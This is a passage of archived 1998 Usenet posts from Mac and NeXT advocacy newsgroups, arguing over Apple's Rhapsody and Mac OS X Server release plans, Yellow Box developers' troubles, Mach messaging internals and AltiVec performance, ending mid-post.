Organization: XS4ALL, networking for the masses
Sender: amtha@dc2-modem513.dial.xs4all.nl
Message-ID: <B253EE8E9668B68AE@dc2-modem513.dial.xs4all.nl>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net>
In article <70e4pg$hq2$1@strato.ultra.net>,
"WaldoTim" <waldotim@yahoo.com> wrote:
>> Ever tried to dump a folder inside Win95/98's trash, and then trying
>>to get it back? You can't. You'll get a mishmash of files. That's not what
>>_I_ would expect the computer to do.
>
> Oh, come on! You act like Macs never have a bad day! Computers,
>like everything else in the universe (including your brain, obviously) are
Yeah, but having a bad day is something different than haveing a bad habit.
This trash-the-folder behaviour is a (mis)design feature!
ard
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 10:47:28 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E0210.D5392CC6@ericsson.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
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Maury Markowitz wrote:
[cut]
> WHOA! I have _never_ seen anything about releasing Rhapsody before fall.
> On what basis did you tell your customers that it would be available? If
> you refer to the OS side, it's been available since March. I don't
> understand the issue here.
Whence comes this incredible ignorance of the Rhapsody roadmap? Premier
Release, scheduled for 1/98.
[cut]
MJP
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Bold prediction! Forget Server...
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<F16Mpz.7ID@T-FCN.Net>
Message-ID: <QbnX1.3117$yb5.3259904@news.rdc1.sdca.home.com>
Date: Wed, 21 Oct 1998 15:36:16 GMT
NNTP-Posting-Date: Wed, 21 Oct 1998 08:36:16 PDT
Organization: @Home Network
In <F16Mpz.7ID@T-FCN.Net> Maury Markowitz wrote:
> In <YPdX1.2567$yb5.3013570@news.rdc1.sdca.home.com> Rex Riley wrote:
> > The market demanded Programmer's making $40K without the suit... NeXT
> > stalled.
>
> I don't know a single developer that makes less that $50k, most I know
> make about $75. Many of them do VB or Perl for that $75. I don't know
> what market you refer to, I've never seen any hint of it.
>
>
I specifically meant to refer to the NeXT marketplace in the early 90's,
1991-1994. If you never seen any hint of this marketplace, you weren't in
NYC in the 90's down on Fay avenue or GUN, etc...
-r
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy
Subject: Data transfer efficiencies (was Re: Press reports of Apple's profits)
Date: Wed, 21 Oct 1998 09:54:54 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <362E11D9.79E79600@ncal.verio.com>
References: <70e9kf$20ju$1@piglet.cc.uic.edu> <362AB758.F311A1BD@nstar.net> <70ghgr$2kss$1@piglet.cc.uic.edu>
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This is one of the cases at which Mach-style messaging and VM really does
well, optimizing the common local case transparently.
When a large piece of data such as a memory-mapped file or bitmap needs to be
passed between tasks, a pointer and size may be tucked away in the Mach
message. The Mach messaging routine in the kernel will find the vm_object for
this address range in the sending task, mark it copy-on-write, add a
reference, and make it appear in the receiving task. (There's a bit more that
happens internally, related to security issues and bookkeeping, but this
covers the basics.)
As long as the data backed by the vm_object is not modified, the pages are
shared between the receiver and sender. Individual pages in the shared range
are copied lazily when modified.
The overhead for this trick adds typically 20-30 microseconds to the message
send time, on an 8500/150 Macintosh. This mechanism is used in Rhapsody/Max
OS X Server to move images to and from the WindowServer and pasteboard, in
Distributed Objects, and a bunch of other places.
For applications running over a network, this trick is used to move data to
the nmserver on the sending machine, which then serializes the data over the
network connection to the recieving system's nmserver. The out-of-line data
is then passed to the recieving program as described above. The result is
that the data is actually byte-by-byte copied only once, over the network link
between the two nmserver processes.
Mike Paquette
Anil T Maliyekke wrote:
>
> Michael J. Peck (mjpeck@nstar.net) wrote:
> : Anil T Maliyekke wrote:
>
> : > Seems a bit bandwidth intensive, especially if you are talking
> : > about dragging and dropping multiple files or putting large graphic
> : > objects into the clipboard.
>
> : The server is the broker between the two programs. Some entity has to
> : maintain the clipboard and respond to requests for storage/retrieval.
>
> : Is there another way to accomplish the same thing? I'm all ears.
>
> There isn't a way in the general case of not knowing if
> the X server and the various applications running on the same
> machine, if you want to avoid direct application to application
> communication. A way of neogotiating a direct connection between
> the two applications would otherwise be a good idea, especially in the
> case of drag and drop of multiple large files.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Tue, 20 Oct 1998 13:36:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70i3lq$h3c$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
don@misckit.com wrote:
> spagiola@my-dejanews.com wrote:
> > > What do the NeXT developers and community think of this rumor?
> > > > * "According to several Apple customers who attended the Apple
> > > > * annual report press conference in Vienna, Austria on Friday,
> > > > * October 16, the Mac OS X 1.0 Server has been cancelled..."
> >
> > What are we supposed to think? If it's true, it's a REALLY BAD IDEA.
> > [...]
> > If it's not true, it shows how Apple's stealth decision-making lays
> > them wide open to rampant FUDsterism.
>
> Of course.
>
> > I think it's long past time for Apple to tell us what the hell it
> > is they're going to do.
>
> Has anyone considered that perhaps even Apple doesn't know what it is going
> to do?
> Maybe (and this is 100% wasteful speculation, really) there is a violent
> civil war raging in Cupertino between the old Mac guard and the new people
> from NeXT over what to do with the release and until the dust settles, even
> they don't know how it will turn out!
> Sounds strange, but it makes at least as much sense as every other stupid
> rumor that has crossed these newgroups in the past several months. As for
> me, I'll just wait and see what happens...
Sound completely plausible. But I've long since given up trying to understand
WHY Apple might or might not be doing things, since so much of that boils
down to amateur psychologist/conspiracy theorist/kremlinologist (take your
pick). I don't pretend to know what's going on in Cupertino. What I CAN say
is that, from my perspective as a consumer and potential buyer of Apple
products, this a REALLY POOR WAY TO RUN A RAILROAD (to use one of the more
polite expressions that comes to mind). It makes me very nervous that Apple's
success with iMac and OS8 is nothing but a fluke -- how can one credit them
with good planning and execution on these things, when they seem to be
falling over themselves to botch the transition to OSX?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 21 Oct 98 12:10:06 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2537FA1-2A761@206.165.43.220>
References: <70l84g$cga$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com said:
>
>It's only at WWDC that we were given a later date, namely Q3 1998. Of
>course,
>we're now in Q4 1998.
From what was reported on AIMED-TALK, we're talking late 4Q98, or even
early 2Q99, which would push it into MacOS X consumer's release time-frame.
Hmmmm...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
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Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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<70l84g$cga$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 19:28:04 GMT
In <70l84g$cga$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> The initial roadmap indicated the the "premier release" of Rhapsody would
> be in early 1998.
And the renamed product is what I'm typing this on.
> So March would have been a somewhat conservative prediction
> based on that timeline.
DR2 shipped in April.
> biggest problem is that, almost a year after the initially promised date
> and a
> month after the revised promised date, we still know diddly about when it
> will
> ship and at what price.
Indeed, this is a problem.
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Tue, 20 Oct 1998 13:58:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70i4tt$i45$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com>
"Greg Anderson" <greg@afs.com> wrote:
> Why yes, Don. I think that's the most rational explanation. I have concluded
> that Apple has a firm grasp on where it wants to be a year from now with Mac
> OS X, but *not* what it wants to do in the meantime with its predecessor.
> The tech is already fabulous, but the marketing case is hard to make between
> now and then. They don't want the first release to look like a failure --
> lest it cripple the later consumer version -- but it's not clear how to get
> this plane off the runway without causing turbulence to the "must have"
> message associated with 8.5. As others have speculated, I think WebObject
> integration is the most likely avenue. But I hope Apple will leave the door
> open for the "first on the block" types to acquire it easily, too. My
> mailbox proves that a certain level of that kinds of demand definitely
> exists
Here's at least one such type who is raring to get at OSX Server, but will be
unable to do so if the pricing is anything like that of the later OPENSTEP
versions. And great software that it might be, I personally have no use for
WebObjects.
Yes, Apple have a problem in correctly positioning OSX Server without either
stealing OS8.5's thunder or undermining the future OSX. I think you're 100%
right, there. But it's a problem largely of their own making, so it's hard to
have a whole lot of sympathy. If they'd been more open about their thinking,
for example, they'd have a much better sense of the lay of the land. They got
an earful about the iMac's originally-proposed modem, for example. But by
being so g****m secretive, they've made rational public debate over options
impossible.
In any case, the problem does not seem so insoluble to me. Call OSX Server
"OSX Beta" instead, since that's what it really is anyway, and make it
available as a beta to anyone who wants it, either for a nominal fee or for
the full price of what OSX will cost, with a free upgrade to that when it
ships. They'd gain legions of eager users like me tearing through it pointing
out bugs and/or conceptual problems. It would be called "beta" so any
reported problems needn't cause any PR problems. The line would be -- hey,
it's a "beta", of course it's got some bugs. Low adoption, should that be the
case, would also not matter. Again, the line would be -- hey, it's a "beta",
of course only a few people will adopt it. There's no downside, and there's
lots of potential upside. If OSX server -- sorry, "beta" -- is as solid as
we've told, Apple will be able to say that, hey, EVEN THOUGH it's a "beta"
it's got less bugs than that other company's shipping product. Heck, they can
even call it "Alpha" since there's likely to be no Carbon support. Then they
can call the first version with a working Carbon "beta".
And in the meantime, people like me will be able to use it to do productive
work, as we've been doing on NeXTSTEP for years but now on much faster
hardware.
Need I cite Romeo and Juliet?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
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Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
Content-Type: text/plain; charset=us-ascii
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<362c2209$0$12429@nntp1.ba.best.com>
Mime-Version: 1.0
Date: Tue, 20 Oct 1998 14:16:00 GMT
In <362c2209$0$12429@nntp1.ba.best.com> Kenneth C. Dyke wrote:
> From what I recall at WWDC, eQD is part of the common OS services layer
> beneath both Carbon and YellowBox. The new Window Server is also
> included in that layer.
Exactly.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
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<F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 19:41:32 GMT
In <362E00B4.7DFA199A@ericsson.com> Michael Peck wrote:
> Yes, clever strategy Jobs was pursuing, wasn't it?
I think so. It scared me to death at the time, but apparently it made
the vast majority of the people in hall happy. If that's what it takes,
that's what it takes.
> hear that in the span of time from August 1997 to May 1998 Jobs managed
> to basically kill all enthusiasm in the MacOS market for YB.
Maybe not, but the only real question is how long it takes to create it
again.
> Sorry, bzzzt. *Many* more releases of MacOS. There was no end to the
> MacOS roadmap, there were only unannounced plans.
There are many statements to the effect that it would be phased out in
the 2000 time frame.
> Sorry, bzzzt. You say you kept up with this stuff? Hard to believe. The
> Premier Release of Rhapsody was scheduled (in 1997) for January of 1998.
> It was to be a public release with "as much Blue Box support for MacOS
> applications as possible". Six months later would see yet another public
> release, the so-called "Unified Release" of Rhapsody.
Unified essentially equals CR1. CR1 is sinx months after DR2. At the
current rate it's about 1 or 2 months overdue.
> This would have
> comprehensive Blue Box support for MacOS applications.
Yes. Are you suggesting Server won't? The only real difference I see is
that they implied that the product that is now DR2 would be publically
available, or at least more available than it is now. But it was only an
implication. As far as I am concerned, DR2 IS Premier.
> You've also neglected to note that an aggressive MacOS upgrade strategy
> was planned for in 1997. The details were swamped by the increasing flak
> from Jobs over licensing to the point of killing the program.
The plan seems to be pretty agressive in retrospect.. What are you
referring to?
> Which? As far as I know, there were simply DR2 and Rhapsody 1.0. Period.
> End of story.
DR2, Server, MacOS-X 1.0, X x.y.
> Not conversion. Convergence.
No, no convergence. What leads you to say this?
> > > What you call "panic" is actually the continual, tired, dogged
> criticism
> > > of Jobs' (and others within Apple) idiotic actions for *YEARS*.
> >
> > Jobs hasn't been at Apple for years.
>
> Excuse me, did I say "and others within Apple".
In parents, meaning that YEARS applies mainly to Jobs (and these other
people here).
> Why, I believe I did.
> *pssst* Work on the reading comprehension.
Uhhh, yeah. Work on the grammar.
> These conversations will go
> *so* much more smoothly when you actually begin absorbing the content.
And when you stop with the sophmoric insults.
> Whoops! My bad. How could I forget the many times I've failed to draw
> any sort of specific meaning from your postings? It's always "I didn't
> mean that, I meant blah blah blah blah. Don't read what I write, wait
> for me to clarify" (and clarify and clarify and clarify)...
Uhhh, yeah. I write X. You say "no, you mean y". I say "no, I said and
mean x". You say "you see, your changing your story again". Uh huh.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
<362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 19:25:39 GMT
In <nagleF16tA5.Itp@netcom.com> John Nagle wrote:
> There's a word for people who believe Apple's OS preannouncements.
> Suckers.
> I mean, really; they've blown it every time since the days of the
> 68K microkernel.
Hmmm. All of the releases of the OS have been on-target for the last
year or so (within reasonable limits). The Dr.G team started getting it
together, and the current team got it together.
I assume you are referring to Copeland, but that was a very long time ago.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 14:35:11 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E376F.AB64DD73@ericsson.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
<362E0210.D5392CC6@ericsson.com> <F16z2v.DtH@T-FCN.Net>
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Maury Markowitz wrote:
>
> In <362E0210.D5392CC6@ericsson.com> Michael Peck wrote:
> > Whence comes this incredible ignorance of the Rhapsody roadmap? Premier
> > Release, scheduled for 1/98.
>
> DR1 shipped 1stQ.
Very good. Now, working *very* slowly, answer the following questions:
1) What does DR1 stand for?
2) What does "developer's release" mean?
3) Where there any restrictions on DR1?
4) What does NDA stand for?
5) What is a non-disclosure agreement?
6) DR1 shipped Q1,98. Why couldn't Todd ship his software to customers?
Good luck.
"And remember, this is for posterity, so please, be honest."
-- The Princess Bride
Incidentally, my response was to the following (I believe someone named
"Maury Markowitz" posted this):
"WHOA! I have _never_ seen anything about releasing Rhapsody before
fall. On what basis did you tell your customers that it would be
available?"
Now you are claiming that Rhapsody was "released". Does this strike
anyone as...typical, actually?
MJP
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
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Mime-Version: 1.0
Date: Tue, 20 Oct 1998 14:26:40 GMT
In <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> CaHand wrote:
> Of course, I was glad to see Rhapsody reaffirmed after Jobs had
> announced the OS X strategy. Does that mean it's a good strategy?
> Hell no. Given the opportunity to go back to the end of '97, I
> would have stayed with Amelio's plan and developed Rhapsody along
> with MacOS. (Which is what they are actually doing: OS X Server
> and OS X.) The problem is they've botched the marketing positions
> by throwing this "Server" thing down in the middle of 8.5 ---> X.
> If it was called OPENSTEP(or OS X for Enterprise), this would not
> be a problem.
This is entirely different than what they were doing. They were doing
"server" and telling everyone to upgrade. This is _significantly_
different than the current strategy and in retrospect it appears Jobs was
correct in thinking it was going to fail.
As to calling it OPENSTEP that name has little cachet outside the
OpenStep world, and those inside the OS world care little about the names.
The people that are going to buy Server are the current OS users (the ones
that will buy a Mac - that's my big complaint) and real server users. I
don't see the big panic that everyone assumes is out there.
> [Aside: Attaching the word "Mac" to the system was always a
> mistake. It should have been called "OS X Server," with no
> silly legacy prefix to graft some sort of nostalgic legacy
> onto a system that has no more to do with 'mac' than QNX.]
Agreed.
Maury
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 16:15:31 -0400
Organization: Anderson Financial Systems Inc.
Message-ID: <70lfdf$amm@shelob.afs.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <70l84g$cga$1@nnrp1.dejanews.com> <F16zEs.E23@T-FCN.Net>
Maury Markowitz wrote:
> DR2 shipped in April.
Not exactly. The kernel was built on April 17, but it didn't make it into
most developers' hands until after WWDC.
Greg
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 22:50:41 +0200
Organization: pv
Message-ID: <1dh9tow.10xfm221wfrs00N@[192.168.0.2]>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <F16z2v.DtH@T-FCN.Net> <362E376F.AB64DD73@ericsson.com>
User-Agent: MacSOUP/2.4b3
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Maury Markowitz wrote:
> >
> > In <362E0210.D5392CC6@ericsson.com> Michael Peck wrote:
> > > Whence comes this incredible ignorance of the Rhapsody roadmap? Premier
> > > Release, scheduled for 1/98.
> >
> > DR1 shipped 1stQ.
> 1) What does DR1 stand for?
>
> 2) What does "developer's release" mean?
>
> 3) Where there any restrictions on DR1?
>
> 4) What does NDA stand for?
>
> 5) What is a non-disclosure agreement?
(3-5) is the big problem with the statement DRx = Premier. There could
be other problems, but those could not be discussed because of (3-5).
Even if (3-5) weren't there such discussions would be pointless because
any argument could be dismissed with (1-2). No x makes DRx Premier.
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt: lars.farm@limt.se
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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Mime-Version: 1.0
Date: Wed, 21 Oct 1998 21:29:08 GMT
In <362E3CDF.1F741898@ericsson.com> Michael Peck wrote:
> I don't know about you, but I never heard developers say "What I really
> want from Apple is a migration plan". I *did* hear them say "What I
> really want from Apple is an OS with PMT and PM". Giving them the option
> do gain these capabilities on MacOS would have been met with cheers from
> developers.
Giving them this option WAS met with cheers. I don't understand this,
how is it that you don't think this is what they are doing now? Jobs
stated quite clearly "What you wanted was an advanced OS that ran Mac
apps". That seems strikingly similar to what you say above. Are you
saying this isn't what's happening?
> > push (perhaps with WO4) _may_ improve Apple's credibility.
>
> Which improvements, exactly, will reach customers in usable form?
The single largest one for admins will be the switch from 4.3BSD to
4.4BSD. Don't downplay this change, you know it's a big one in terms of
usability. The other big one is BB, which for a Mac shop is a huge
improvement, in usablility. I use it almost every day.
> Exactly. "Whatever plan Gil cooked up", which means you weren't paying
> attention.
I was, and the plan sucked. All the MacOS developers I know (and I know
a fair number) hated it, and some left the Mac world because of it. Thanks
Gil.
> It only got interesting when Our Lord Steve stepped up to
> bat.
Indeed, and the cheering at WWDC implies they liked the change.
Funny how OPENSTEP developers berate MacOS developers for their
> waning attention in late 1998...
They do? Where?
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 21 Oct 1998 18:08:38 GMT
Organization: I don't think so
Message-ID: <slrn72s8u8.9ka.jason@jhste1.dyn.ml.org>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se> <rbarris-ya023280002010981659250001@206.82.216.1>
Rob Barris posted the following to comp.sys.mac.advocacy:
>> I can't imagine other than that the AltiVec unit is going to be seriously
>> bandwidth limited for many of its' potential applications.
> Very much depends on the algorithm. Even though you might be able to
>concoct an example where the AV unit starves for memory (lots of back to
>back loads and stores of 128 bit words with little computation in
>between)... the point is that AltiVec lets you attack problems where memory
>bandwidth wasn't the problem before - computation was.
> Example, MPEG decode, 4-5MB/s of input, 36MB/s of output (640x480, 4
>bytes per pixel, 30 fps)... today's systems have plenty of memory bandwidth
>to get the job done, but the core CPU just can't do all the DCT's etc etc
>fast enough to meet that 30fps deadline. Enter AltiVec, the bandwidth
>needs didn't change by one byte, yet now the computation can get done in
>time thanks to the parallel ALU's, media arithmetic etc.
Hmmm - I think you mean 4-5 Mbps (huge difference there, Rob <g>).
Actually, I'm not so sure that a 350 MHz 604e couldn't crank out the
IDCTs plenty fast enough - I can make a 603e/180 do an 8x8 IDCT in an
average of about 4.7 usec with some fairly well-optimized code (but a
slowish algorithm); the pipelined integer multiplier and ability to issue
2 adds and 1 mulli per cycle in the 604e could cut that down quite a bit;
add the MHz boost to 350 and we might be looking at as little as 1 usec
per 8x8 IDCT (or maybe less? Maynard?). 640x480x12bitYCbCrx30fps leads to
a maximum of 216,000 IDCTs per second (actually, far less in practice,
since a large number of blocks won't require an IDCT at all - maybe more
than half), or a bit over 20% of your available CPU cycles if your whole
stream is I-frames (maybe only 10% in a typical 640x480x12x30fps stream,
and 15% for 24bpp YCbCr).
Now, whether you could parse the bitstream fast enough to feed the IDCT
function is another matter; cache latencies going to lookup tables might
kill a 9600/350 in this case (the 750 would do better there, but worse
in the IDCT). I think that the key to the whole exercise is to offload as
much work as possible to the video card, meaning colorspace conversion and
scaling (if necessary) and keep the CPU busy decoding the input stream,
rather than messing with the niceties of displaying the output.
--
Latvian Orthodox Priest: Is there one aspect of the faith that you find
particularly attractive?
George Costanza: I think - the hats.
-- Seinfeld
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Tue, 20 Oct 1998 10:34:54 -0500
Organization: Ericsson North America Inc.
Message-ID: <362CAD9E.8DB4D160@ericsson.com>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com> <ericb-1910982252330001@r4149.resnet.cornell.edu>
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Eric Bennett wrote:
> Naaah... the proper solution was to release the revamped toolbox in 1996
> as Copland.
Bingo. Bingo. Bingo.
> Of course, now we find ourselves in the interesting position of
> speculating whether or not OS X server will be released at all.
>
> But to go back to the question of whether Apple is any better than
> Microsoft if their products are no better... I say Apple *is* better,
> because Apple is not so snooty about shoving their junk down everyone's
> throat.
Maybe, maybe not.
MJP
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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Organization: My ISP puts something here if I don't.
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<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net>
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<70lcvv$j2m$1@nnrp1.dejanews.com> <362E4019.42118F92@ericsson.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 21:30:43 GMT
In <362E4019.42118F92@ericsson.com> Michael Peck wrote:
> What do you expect?! These developers had been asking for new technology
> for years! It had gotten to the point where they were asking for a *bare
> minimum* of PMT and PM just to stay competitive and current, because
> their market is *dying*.
It was worse than that. Developers asked for new technology, Apple would
deliver something else entirely, something no one really wanted or asked
for. PowerTalk, GX, MacX.400, the list is long. SoftArc had been asking
for a single improvement for *five years* running - a new file manager that
actually worked, and that never happened.
> 1) Immediate repair of the MacOS platform so that developers could
> continue to ship existing software on a viable system
I think they've addressed this to some degree since. It's still no great
shakes over 7, but I've been running 8.5 for a week and I really think it's
a lot better than prior releases.
> 2) A long-term plan that allowed developers to return to Mac-first
> innovation. The Windows catch-up has bothered nobody so much as Mac
> developers. John Carmack himself said that he couldn't believe Apple had
> let its competitors catch up to it.
And isn't this what they have done?
> And what we heard about Rhapsody was aimed directly at people developing
> new apps. We heard all about how design, coding, and testing could be
> done in a shorter cycle than with any other environment in the industry.
> New development, new development, new development, that's *all* we
> heard.
Ask anyone at Apple (or simply look at the public statements) and you get
something that looks identical to what's above. MacOS for existing apps,
YB for new x-platform ones.
> I guess that guy was working for Gil Amelio, because as soon as Amelio
> left we started hearing *very* different things.
Yes, we heard things that made sense to MacOS developers. And yes, it
bites being a YB developer right now because of the anti-marketting. I
still don't see what you're trying to imply here, what exactly do you want
them to do?
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 18:11:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70l84g$cga$1@nnrp1.dejanews.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > Last year I told my customers they could have access to my software using
> > OpenStep by March, but when it was obvious Apple wasn't going to ship
> > Rhapsody in its planned time
>
> WHOA! I have _never_ seen anything about releasing Rhapsody before fall.
> On what basis did you tell your customers that it would be available? If
> you refer to the OS side, it's been available since March. I don't
> understand the issue here.
The initial roadmap indicated the the "premier release" of Rhapsody would be
in early 1998. So March would have been a somewhat conservative prediction
based on that timeline. I posted an URL to an interview with Avie that
mentioned this timescale last week.
It's only at WWDC that we were given a later date, namely Q3 1998. Of course,
we're now in Q4 1998.
Now, from my perspective, the biggest problem is not that the release date has
slipped. On a project of this magnitude, I'd be surprised if it didn't. My
biggest problem is that, almost a year after the initially promised date and a
month after the revised promised date, we still know diddly about when it will
ship and at what price.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 15:46:22 -0600
Organization: Stone Entertainment
Message-ID: <stone-2110981546220001@rc-pm3-1-19.enetis.net>
References: <01bdfc5b$c2fd8520$06387880@chewy>
In article <01bdfc5b$c2fd8520$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
> For most of us, the delays of Rhapsody (originally planned for Jan
> 98?), then delays of MacOS X Server (Fall of 98), and finally the
> potential cancellation of MacOS X Server is only frustrating.
(snip)
> Any thoughts?
>
> Todd
Yah, here's a thought. MacOS X Server is not cancled. It was a simple
misunderstanding of a question durring a press conference in Australia.
Amazing how these rumors get started. :-/
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: Tue, 20 Oct 1998 10:46:19 -0500
Organization: Ericsson North America Inc.
Message-ID: <362CB04B.631176A2@ericsson.com>
References: <70e9kf$20ju$1@piglet.cc.uic.edu> <362AB758.F311A1BD@nstar.net> <70ghgr$2kss$1@piglet.cc.uic.edu> <362BD6BE.EC5FAE54@ericsson.com> <70h18i$2bq$1@piglet.cc.uic.edu>
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Anil T Maliyekke wrote:
> I realize that in some cases its not possible to establish a
